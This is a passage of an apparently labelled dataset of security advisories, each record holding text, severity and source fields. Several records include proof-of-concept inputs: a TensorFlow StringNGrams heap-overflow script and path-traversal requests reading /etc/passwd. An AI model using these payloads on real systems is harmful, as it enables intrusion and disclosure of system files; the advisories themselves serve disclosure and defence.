1)));\n  int num_tokens = ngram_width - (left_padding + right_padding);\n  int data_start_index = left_padding > 0 ? 0 : ngram_index - pad_width;\n  ...\n  tstring* ngram = &output[ngram_index];\n  ngram->reserve(ngram_size);\n  for (int n = 0; n < left_padding; ++n) {\n    ngram->append(left_pad_);\n    ngram->append(separator_);\n  }\n  for (int n = 0; n < num_tokens - 1; ++n) {\n    ngram->append(data[data_start_index + n]);\n    ngram->append(separator_);\n  }\n  ngram->append(data[data_start_index + num_tokens - 1]); // <<<\n  for (int n = 0; n < right_padding; ++n) {\n    ngram->append(separator_);\n    ngram->append(right_pad_);\n  }\n  ...\n}\n```\n\nIf input is such that `num_tokens` is 0, then, for `data_start_index=0` (when left padding is present), the marked line would result in reading `data[-1]`.\n\n### Patches\nWe have patched the issue in GitHub commit [ba424dd8f16f7110eea526a8086f1a155f14f22b](https://github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Heap buffer overflow in `StringNGrams`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a heap buffer overflow by passing crafted inputs to `tf.raw_ops.StringNGrams`:\n\n```python\nimport tensorflow as tf\n\nseparator = b'\\x02\\x00'    \nngram_widths = [7, 6, 11]\nleft_pad = b'\\x7f\\x7f\\x7f\\x7f\\x7f'\nright_pad = b'\\x7f\\x7f\\x25\\x5d\\x53\\x74'\npad_width = 50\npreserve_short_sequences = True\n  \nl = ['', '', '', '', '', '', '', '', '', '', '']\n  \ndata = tf.constant(l, shape=[11], dtype=tf.string)\n  \nl2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n     0, 0, 3]\ndata_splits = tf.constant(l2, shape=[116], dtype=tf.int64)\n\nout = tf.raw_ops.StringNGrams(data=data,\n    data_splits=data_splits, separator=separator,\n    ngram_widths=ngram_widths, left_pad=left_pad,\n    right_pad=right_pad, pad_width=pad_width,\n    preserve_short_sequences=preserve_short_sequences)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1cdd4da14282210cc759e468d9781741ac7d01bf/tensorflow/core/kernels/string_ngrams_op.cc#L171-L185) fails to consider corner cases where input would be split in such a way that the generated tokens should only contain padding elements:\n  \n```cc\nfor (int ngram_index = 0; ngram_index < num_ngrams; ++ngram_index) {\n  int pad_width = get_pad_width(ngram_width);\n  int left_padding = std::max(0, pad_width - ngram_index);\n  int right_padding = std::max(0, pad_width - (num_ngrams - (ngram_index + 1)));\n  int num_tokens = ngram_width - (left_padding + right_padding);\n  int data_start_index = left_padding > 0 ? 0 : ngram_index - pad_width;\n  ...\n  tstring* ngram = &output[ngram_index];\n  ngram->reserve(ngram_size);\n  for (int n = 0; n < left_padding; ++n) {\n    ngram->append(left_pad_);\n    ngram->append(separator_);\n  }\n  for (int n = 0; n < num_tokens - 1; ++n) {\n    ngram->append(data[data_start_index + n]);\n    ngram->append(separator_);\n  }\n  ngram->append(data[data_start_index + num_tokens - 1]); // <<<\n  for (int n = 0; n < right_padding; ++n) {\n    ngram->append(separator_);\n    ngram->append(right_pad_);\n  }\n  ...\n}\n```\n\nIf input is such that `num_tokens` is 0, then, for `data_start_index=0` (when left padding is present), the marked line would result in reading `data[-1]`.\n\n### Patches\nWe have patched the issue in GitHub commit [ba424dd8f16f7110eea526a8086f1a155f14f22b](https://github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "daae86fabb7704ceb5e6", "text": "Corel WordPerfect Office X5 15.0.0.357 (wpd) Remote Buffer Preoccupation PoC", "text_raw": "Corel WordPerfect Office X5 15.0.0.357 (wpd) Remote Buffer Preoccupation PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-07-12", "split": "train"}
-{"id": "12b9de4496930abf9a02", "text": "i18n gem Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in exceptions.rb in the i18n gem before 0.6.6 for Ruby allows remote attackers to inject arbitrary web script or HTML via a crafted I18n::MissingTranslationData.new call.", "text_raw": "i18n gem Cross-site Scripting vulnerability \n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in exceptions.rb in the i18n gem before 0.6.6 for Ruby allows remote attackers to inject arbitrary web script or HTML via a crafted I18n::MissingTranslationData.new call.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "76301d7bce814911f616", "text": "Malicious Package in calk\n\nAll versions of `calk` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in calk\n\n[Severity: CRITICAL]\n\nAll versions of `calk` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "ec4660feaca9f77949e7", "text": "Dell SonicWALL Global Management System GMS 8.1 XSS Vulnerabilities", "text_raw": "Dell SonicWALL Global Management System GMS 8.1 XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-12-29", "split": "train"}
-{"id": "7fe4514a82bd65b1579c", "text": "Directory Traversal in restafary\n\nAffected versions of `restafary` are susceptible to a directory traversal vulnerability when a root path is specified in the configuration.\n\nProof of Concept\n\n```\ncurl -i -s -k  -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'\n```\n\n## Recommendation\n\nUpdate to version 1.6.1 or later.", "text_raw": "Directory Traversal in restafary\n\n[Severity: MEDIUM]\n\nAffected versions of `restafary` are susceptible to a directory traversal vulnerability when a root path is specified in the configuration.\n\n\nProof of Concept\n\n```\ncurl -i -s -k  -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'\n```\n\n\n## Recommendation\n\nUpdate to version 1.6.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "d8cfba8e1b3484ce1a98", "text": "coreos-installer < 0.10.0 writes world-readable Ignition config to installed system\n\n### Impact\nOn systems installed with coreos-installer before 0.10.0, the user-provided Ignition config was written to `/boot/ignition/config.ign` with world-readable permissions, granting unprivileged users access to any secrets included in the config.\n\nDefault configurations of Fedora CoreOS and RHEL CoreOS do not include any unprivileged user accounts.  In addition, instances launched from a cloud image, and systems provisioned with the `ignition.config.url` kernel argument, do not use the `config.ign` file and are unaffected.\n\n### Patches\ncoreos-installer 0.10.0 and later [writes](https://github.com/coreos/coreos-installer/pull/571) the Ignition config with restricted permissions.\n\n### Workarounds\n\nOn Fedora CoreOS systems installed from version 34.20210711.3.0 (stable), 34.20210711.2.0 (testing), 34.20210711.1.1 (next) and later, the `/boot/ignition` directory and its contents are removed after provisioning is complete. All Fedora CoreOS systems that have updated to these versions or later have automatically removed the `/boot/ignition` directory and no action is required.\n\nOn other systems, `/boot/ignition/config.ign` can be removed manually, as it is not used after provisioning is complete:\n\n```\nsudo mount -o remount,rw /boot\nsudo rm -rf /boot/ignition\n```\n\n### References\nFor more information, see https://github.com/coreos/fedora-coreos-tracker/issues/889.\n\n### For more information\nIf you have any questions or comments about this advisory, [open an issue in coreos-installer](https://github.com/coreos/coreos-installer/issues/new/choose) or email the CoreOS [development mailing list](https://lists.fedoraproject.org/archives/list/coreos@lists.fedoraproject.org/).", "text_raw": "coreos-installer < 0.10.0 writes world-readable Ignition config to installed system\n\n[Severity: MEDIUM]\n\n### Impact\nOn systems installed with coreos-installer before 0.10.0, the user-provided Ignition config was written to `/boot/ignition/config.ign` with world-readable permissions, granting unprivileged users access to any secrets included in the config.\n\nDefault configurations of Fedora CoreOS and RHEL CoreOS do not include any unprivileged user accounts.  In addition, instances launched from a cloud image, and systems provisioned with the `ignition.config.url` kernel argument, do not use the `config.ign` file and are unaffected.\n\n### Patches\ncoreos-installer 0.10.0 and later [writes](https://github.com/coreos/coreos-installer/pull/571) the Ignition config with restricted permissions.\n\n### Workarounds\n\nOn Fedora CoreOS systems installed from version 34.20210711.3.0 (stable), 34.20210711.2.0 (testing), 34.20210711.1.1 (next) and later, the `/boot/ignition` directory and its contents are removed after provisioning is complete. All Fedora CoreOS systems that have updated to these versions or later have automatically removed the `/boot/ignition` directory and no action is required.\n\nOn other systems, `/boot/ignition/config.ign` can be removed manually, as it is not used after provisioning is complete:\n\n```\nsudo mount -o remount,rw /boot\nsudo rm -rf /boot/ignition\n```\n\n### References\nFor more information, see https://github.com/coreos/fedora-coreos-tracker/issues/889.\n\n### For more information\nIf you have any questions or comments about this advisory, [open an issue in coreos-installer](https://github.com/coreos/coreos-installer/issues/new/choose) or email the CoreOS [development mailing list](https://lists.fedoraproject.org/archives/list/coreos@lists.fedoraproject.org/).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-08", "split": "train"}
-{"id": "3d80062b63d99418caab", "text": "Remote Code Execution in pomelo-monitor\n\nAll versions of `pomelo-monitor` are vulnerable to Remote Code Execution. Due to insufficient input validation an attacker could run arbitrary commands on the server thus rendering the package vulnerable to Remote Code Execution.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Remote Code Execution in pomelo-monitor\n\n[Severity: HIGH]\n\nAll versions of `pomelo-monitor` are vulnerable to Remote Code Execution. Due to insufficient input validation an attacker could run arbitrary commands on the server thus rendering the package vulnerable to Remote Code Execution.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "53221209d15fb7063404", "text": "Arbitrary file write in actionpack-page_caching gem\n\nThere is a vulnerability in actionpack_page-caching gem < v1.2.1 that allows an attacker to write arbitrary files to a web server, potentially resulting in remote code execution if the attacker can write unescaped ERB to a view.", "text_raw": "Arbitrary file write in actionpack-page_caching gem\n\n[Severity: CRITICAL]\n\nThere is a vulnerability in actionpack_page-caching gem < v1.2.1 that allows an attacker to write arbitrary files to a web server, potentially resulting in remote code execution if the attacker can write unescaped ERB to a view.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-05-13", "split": "train"}
-{"id": "a276c2f0bfcd5698845a", "text": "Incorrect Resource Transfer Between Spheres in eclipse-wtp\n\nIn all versions prior to version 3.9.6 for eclipse-wtp, all versions prior to version 9.4.4 for eclipse-cdt, and all versions prior to version 3.0.1 for eclipse-groovy, Spotless was resolving dependencies over an insecure channel (http). If the build occurred over an insecure connection, a malicious user could have perform a Man-in-the-Middle attack during the build and alter the build artifacts that were produced. In case that any of these artifacts were compromised, any developers using these could be altered. **Note:** In order to validate that this artifact was not compromised, the maintainer would need to confirm that none of the artifacts published to the registry were not altered with. Until this happens, we can not guarantee that this artifact was not compromised even though the probability that this happened is low.", "text_raw": "Incorrect Resource Transfer Between Spheres in eclipse-wtp\n\n[Severity: MEDIUM]\n\nIn all versions prior to version 3.9.6 for eclipse-wtp, all versions prior to version 9.4.4 for eclipse-cdt, and all versions prior to version 3.0.1 for eclipse-groovy, Spotless was resolving dependencies over an insecure channel (http). If the build occurred over an insecure connection, a malicious user could have perform a Man-in-the-Middle attack during the build and alter the build artifacts that were produced. In case that any of these artifacts were compromised, any developers using these could be altered. **Note:** In order to validate that this artifact was not compromised, the maintainer would need to confirm that none of the artifacts published to the registry were not altered with. Until this happens, we can not guarantee that this artifact was not compromised even though the probability that this happened is low.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-09-11", "split": "train"}
-{"id": "41703dda5ce68cc93395", "text": "Regular Expression Denial of Service in Acorn\n\nAffected versions of acorn are vulnerable to Regular Expression Denial of Service.\nA regex in the form of /[x-\\ud800]/u causes the parser to enter an infinite loop.\nThe string is not valid UTF16 which usually results in it being sanitized before reaching the parser.\nIf an application processes untrusted input and passes it directly to acorn,\nattackers may leverage the vulnerability leading to Denial of Service.", "text_raw": "Regular Expression Denial of Service in Acorn\n\n[Severity: HIGH]\n\nAffected versions of acorn are vulnerable to Regular Expression Denial of Service.\nA regex in the form of /[x-\\ud800]/u causes the parser to enter an infinite loop.\nThe string is not valid UTF16 which usually results in it being sanitized before reaching the parser.\nIf an application processes untrusted input and passes it directly to acorn,\nattackers may leverage the vulnerability leading to Denial of Service.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-03", "split": "train"}
-{"id": "e9d64c18f0b14baa2e61", "text": "Incorrect Authorization in Spring Cloud Netflix Zuul\n\nApplications using the “Sensitive Headers” functionality in Spring Cloud Netflix Zuul 2.2.6.RELEASE and below may be vulnerable to bypassing the “Sensitive Headers” restriction when executing requests with specially constructed URLs. Applications that use Spring Security's StrictHttpFirewall (enabled by default for all URLs) are not affected by the vulnerability, as they reject requests that allow bypassing.", "text_raw": "Incorrect Authorization in Spring Cloud Netflix Zuul\n\n[Severity: MEDIUM]\n\nApplications using the “Sensitive Headers” functionality in Spring Cloud Netflix Zuul 2.2.6.RELEASE and below may be vulnerable to bypassing the “Sensitive Headers” restriction when executing requests with specially constructed URLs. Applications that use Spring Security's StrictHttpFirewall (enabled by default for all URLs) are not affected by the vulnerability, as they reject requests that allow bypassing.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "d42ae9173b3d69aede93", "text": "Denial of Service in subtext\n\nAll versions of `subtext` are vulnerable to Denial of Service (DoS). The package fails to enforce the `maxBytes` configuration for payloads with chunked encoding that are written to the file system. This allows attackers to send requests with arbitrary payload sizes, which may exhaust system resources leading to Denial of Service.\n\n## Recommendation\n\nThis package is not actively maintained and has been moved to `@hapi/subtext` where version 6.1.2.", "text_raw": "Denial of Service in subtext\n\n[Severity: HIGH]\n\nAll versions of `subtext` are vulnerable to Denial of Service (DoS). The package fails to enforce the `maxBytes` configuration for payloads with chunked encoding that are written to the file system. This allows attackers to send requests with arbitrary payload sizes, which may exhaust system resources leading to Denial of Service.\n\n\n## Recommendation\n\nThis package is not actively maintained and has been moved to `@hapi/subtext` where version 6.1.2.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "688b3c8bcfd2c4d66498", "text": "Command injection in corenlp-js-prefab\n\nThis affects all versions of package corenlp-js-prefab. The injection point is located in line 10 in 'index.js.' It depends on a vulnerable package 'corenlp-js-interface.'", "text_raw": "Command injection in corenlp-js-prefab\n\n[Severity: CRITICAL]\n\nThis affects all versions of package corenlp-js-prefab. The injection point is located in line 10 in 'index.js.' It depends on a vulnerable package 'corenlp-js-interface.'", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "daee7c7e69285ccc5f5c", "text": "Directory Traversal in 22lixian\n\nAffected versions of `22lixian` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in 22lixian\n\n[Severity: HIGH]\n\nAffected versions of `22lixian` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "8f433703462b08ecd102", "text": "Field Test CSRF vulnerability\n\nThe Field Test dashboard is vulnerable to cross-site request forgery (CSRF) with non-session based authentication methods in versions v0.2.0 through v0.3.2.\n\n## Impact\nThe Field Test dashboard is vulnerable to CSRF with non-session based authentication methods, like basic authentication. Session-based authentication methods (like Devise's default authentication) are not affected.\n\nA CSRF attack works by getting an authorized user to visit a malicious website and then performing requests on behalf of the user. In this instance, a single endpoint is affected, which allows for changing the variant assigned to a user.\n\nAll users running an affected release should upgrade immediately.\n\n## Technical Details\nField Test uses the `protect_from_forgery` method from Rails to prevent CSRF. However, this defaults to `:null_session`, which has no effect on non-session based authentication methods. This has been changed to `protect_from_forgery with: :exception`.", "text_raw": "Field Test CSRF vulnerability\n\n[Severity: MEDIUM]\n\nThe Field Test dashboard is vulnerable to cross-site request forgery (CSRF) with non-session based authentication methods in versions v0.2.0 through v0.3.2.\n\n## Impact\nThe Field Test dashboard is vulnerable to CSRF with non-session based authentication methods, like basic authentication. Session-based authentication methods (like Devise's default authentication) are not affected.\n\nA CSRF attack works by getting an authorized user to visit a malicious website and then performing requests on behalf of the user. In this instance, a single endpoint is affected, which allows for changing the variant assigned to a user.\n\nAll users running an affected release should upgrade immediately.\n\n## Technical Details\nField Test uses the `protect_from_forgery` method from Rails to prevent CSRF. However, this defaults to `:null_session`, which has no effect on non-session based authentication methods. This has been changed to `protect_from_forgery with: :exception`.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-05", "split": "train"}
-{"id": "7ae5c88ee386c4bed7c2", "text": "OS Command Injection in Centreon\n\n/graphStatus/displayServiceStatus.php in Centreon 19.10.8 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the RRDdatabase_path parameter.", "text_raw": "OS Command Injection in Centreon\n\n[Severity: HIGH]\n\n/graphStatus/displayServiceStatus.php in Centreon 19.10.8 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the RRDdatabase_path parameter.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "9bd01d19560aeb1b8e68", "text": "Command Injection in samsung-remote\n\nVersions of `samsung-remote` before 1.3.5 are vulnerable to command injection. This vulnerability is exploitable if user input is passed into the `ip` option of the package constructor.\n\n## Recommendation\n\nUpdate to version 1.3.5 or later.", "text_raw": "Command Injection in samsung-remote\n\n[Severity: CRITICAL]\n\nVersions of `samsung-remote` before 1.3.5 are vulnerable to command injection. This vulnerability is exploitable if user input is passed into the `ip` option of the package constructor.\n\n\n## Recommendation\n\nUpdate to version 1.3.5 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "471d2a1704790e71587f", "text": "Externally Controlled Reference to a Resource in Another Sphere and Confused Deputy in Spring Cloud Netflix\n\nSpring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6, and older unsupported versions allow applications to use the Hystrix Dashboard proxy.stream endpoint to make requests to any server reachable by the server hosting the dashboard. A malicious user, or attacker, can send a request to other servers that should not be exposed publicly.", "text_raw": "Externally Controlled Reference to a Resource in Another Sphere and Confused Deputy in Spring Cloud Netflix\n\n[Severity: MEDIUM]\n\nSpring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6, and older unsupported versions allow applications to use the Hystrix Dashboard proxy.stream endpoint to make requests to any server reachable by the server hosting the dashboard. A malicious user, or attacker, can send a request to other servers that should not be exposed publicly.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-30", "split": "train"}
-{"id": "0271eb34caa89185e3d5", "text": "BEWARD Intercom 2.3.1 Credentials Disclosure", "text_raw": "BEWARD Intercom 2.3.1 Credentials Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-01-27", "split": "train"}
-{"id": "1846b10bbc2fe7d0973e", "text": "RealtyScript v4.0.2 Multiple CSRF And Persistent XSS Vulnerabilities", "text_raw": "RealtyScript v4.0.2 Multiple CSRF And Persistent XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-10-19", "split": "train"}
-{"id": "c66adb5a5642fe036418", "text": "Subrion CMS 2.2.1 Multiple Remote XSS POST Injection Vulnerabilities", "text_raw": "Subrion CMS 2.2.1 Multiple Remote XSS POST Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-09-11", "split": "train"}
-{"id": "48a14d881829744de79a", "text": "Use after free in internment\n\nArcIntern::drop has a race condition where it can release memory which is about to get another user. The new user will get a reference to freed memory.\n\nThis was fixed by serializing access to an interned object while it is being deallocated.\n\nVersions prior to 0.3.12 used stronger locking which avoided the problem.", "text_raw": "Use after free in internment\n\n[Severity: HIGH]\n\nArcIntern::drop has a race condition where it can release memory which is about to get another user. The new user will get a reference to freed memory.\n\nThis was fixed by serializing access to an interned object while it is being deallocated.\n\nVersions prior to 0.3.12 used stronger locking which avoided the problem.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "882cc2e07c07ce9bd8ee", "text": "OS Command injection in docker-cli-js\n\n# Withdrawn\n\nAfter reviewing this CVE, and [this response from the maintainer](https://github.com/Quobject/docker-cli-js/issues/22#issuecomment-967760940), we have withdrawn this advisory.\n\n# Original CVE description\n\nThis affects all versions of package docker-cli-js. If the command parameter of the Docker.command method can at least be partially controlled by a user, they will be in a position to execute any arbitrary OS commands on the host system.", "text_raw": "OS Command injection in docker-cli-js\n\n[Severity: MEDIUM]\n\n# Withdrawn\n\nAfter reviewing this CVE, and [this response from the maintainer](https://github.com/Quobject/docker-cli-js/issues/22#issuecomment-967760940), we have withdrawn this advisory.\n\n# Original CVE description\n\nThis affects all versions of package docker-cli-js. If the command parameter of the Docker.command method can at least be partially controlled by a user, they will be in a position to execute any arbitrary OS commands on the host system. ", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-02", "split": "train"}
-{"id": "b4de6be628a2db7e1020", "text": "Macro Express Pro 4.2.2.1 MXE File Syntactic Analysis Buffer Overflow PoC", "text_raw": "Macro Express Pro 4.2.2.1 MXE File Syntactic Analysis Buffer Overflow PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2011-01-10", "split": "train"}
-{"id": "d71240605384b8e84344", "text": "Data races in bunch\n\nAn issue was discovered in the bunch crate through 2020-11-12 for Rust. \nAffected versions of this crate unconditionally implements `Send`/`Sync` for `Bunch<T>`.\nThis allows users to insert `T: !Sync` to `Bunch<T>`. It is possible to create a data race to a `T: !Sync` by invoking the `Bunch::get()` API (which returns `&T`) from multiple threads. It is also possible to send `T: !Send` to other threads by inserting `T` inside `Bunch<T>` and sending `Bunch<T>` to another thread, allowing to create a data race by inserting types like `T = Rc<_>`.\n\nSuch data races can lead to memory corruption.", "text_raw": "Data races in bunch\n\n[Severity: HIGH]\n\nAn issue was discovered in the bunch crate through 2020-11-12 for Rust. \nAffected versions of this crate unconditionally implements `Send`/`Sync` for `Bunch<T>`.\nThis allows users to insert `T: !Sync` to `Bunch<T>`. It is possible to create a data race to a `T: !Sync` by invoking the `Bunch::get()` API (which returns `&T`) from multiple threads. It is also possible to send `T: !Send` to other threads by inserting `T` inside `Bunch<T>` and sending `Bunch<T>` to another thread, allowing to create a data race by inserting types like `T = Rc<_>`.\n\nSuch data races can lead to memory corruption.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "bf42a74c146c2068418a", "text": "Server Side Request Forgery (SSRF) in org.mitre:openid-connect-server\n\nThe OpenID Connect server implementation for MITREid Connect through 1.3.3 contains a Server Side Request Forgery (SSRF) vulnerability. The vulnerability arises due to unsafe usage of the logo_uri parameter in the Dynamic Client Registration request. An unauthenticated attacker can make a HTTP request from the vulnerable server to any address in the internal network and obtain its response (which might, for example, have a JavaScript payload for resultant XSS). The issue can be exploited to bypass network boundaries, obtain sensitive data, or attack other hosts in the internal network.", "text_raw": "Server Side Request Forgery (SSRF) in org.mitre:openid-connect-server\n\n[Severity: HIGH]\n\nThe OpenID Connect server implementation for MITREid Connect through 1.3.3 contains a Server Side Request Forgery (SSRF) vulnerability. The vulnerability arises due to unsafe usage of the logo_uri parameter in the Dynamic Client Registration request. An unauthenticated attacker can make a HTTP request from the vulnerable server to any address in the internal network and obtain its response (which might, for example, have a JavaScript payload for resultant XSS). The issue can be exploited to bypass network boundaries, obtain sensitive data, or attack other hosts in the internal network.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-13", "split": "train"}
-{"id": "39e07c6af528f5dd4cac", "text": "Calculation error in ark-r1cs-std\n\nAn issue was discovered in the ark-r1cs-std crate before 0.3.1 for Rust. It does not enforce any constraints in the FieldVar::mul_by_inverse method. Thus, a prover can produce a proof that is unsound but is nonetheless verified.", "text_raw": "Calculation error in ark-r1cs-std\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the ark-r1cs-std crate before 0.3.1 for Rust. It does not enforce any constraints in the FieldVar::mul_by_inverse method. Thus, a prover can produce a proof that is unsound but is nonetheless verified.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "57ee16f589d0cfeff303", "text": "A spoofing vulnerability exists when the ASP.NET Core fails to properly sanitize web requests.", "text_raw": "Moderate severity vulnerability that affects Microsoft.AspNetCore.Mvc\n\n[Severity: MEDIUM]\n\nA spoofing vulnerability exists when the ASP.NET Core fails to properly sanitize web requests.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "95e937dbe294e47d043c", "text": "Remote code execution in zendframework and laminas-http\n\nLaminas Project laminas-http before 2.14.2, and Zend Framework 3.0.0, has a deserialization vulnerability that can lead to remote code execution if the content is controllable, related to the __destruct method of the Zend\\Http\\Response\\Stream class in Stream.php. NOTE: Zend Framework is no longer supported by the maintainer. NOTE: the laminas-http vendor considers this a \"vulnerability in the PHP language itself\" but has added certain type checking as a way to prevent exploitation in (unrecommended) use cases where attacker-supplied data can be deserialized.", "text_raw": "Remote code execution in zendframework and laminas-http\n\n[Severity: CRITICAL]\n\nLaminas Project laminas-http before 2.14.2, and Zend Framework 3.0.0, has a deserialization vulnerability that can lead to remote code execution if the content is controllable, related to the __destruct method of the Zend\\Http\\Response\\Stream class in Stream.php. NOTE: Zend Framework is no longer supported by the maintainer. NOTE: the laminas-http vendor considers this a \"vulnerability in the PHP language itself\" but has added certain type checking as a way to prevent exploitation in (unrecommended) use cases where attacker-supplied data can be deserialized.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "d29745d89f618843345e", "text": "rest-client Gem Contains Malicious Code\n\nThe rest-client gem 1.6.10 through 1.6.13 for Ruby, as distributed on RubyGems.org, included a code-execution backdoor inserted by a third party.\nUsers of an affected version should consider downgrading to the last non-affected version of 1.6.9, or upgrading to 1.7.x.\nAdditionally, a set of other minor gems have been partially or completely yanked and are included in this advisory.\nThese include cron_parser, coin_base, blockchain_wallet, awesome-bot, doge-coin, capistrano-colors, bitcoin_vanity, lita_coin, coming-soon, and omniauth_amazon.", "text_raw": "rest-client Gem Contains Malicious Code\n\n[Severity: CRITICAL]\n\nThe rest-client gem 1.6.10 through 1.6.13 for Ruby, as distributed on RubyGems.org, included a code-execution backdoor inserted by a third party.\nUsers of an affected version should consider downgrading to the last non-affected version of 1.6.9, or upgrading to 1.7.x.\nAdditionally, a set of other minor gems have been partially or completely yanked and are included in this advisory.\nThese include cron_parser, coin_base, blockchain_wallet, awesome-bot, doge-coin, capistrano-colors, bitcoin_vanity, lita_coin, 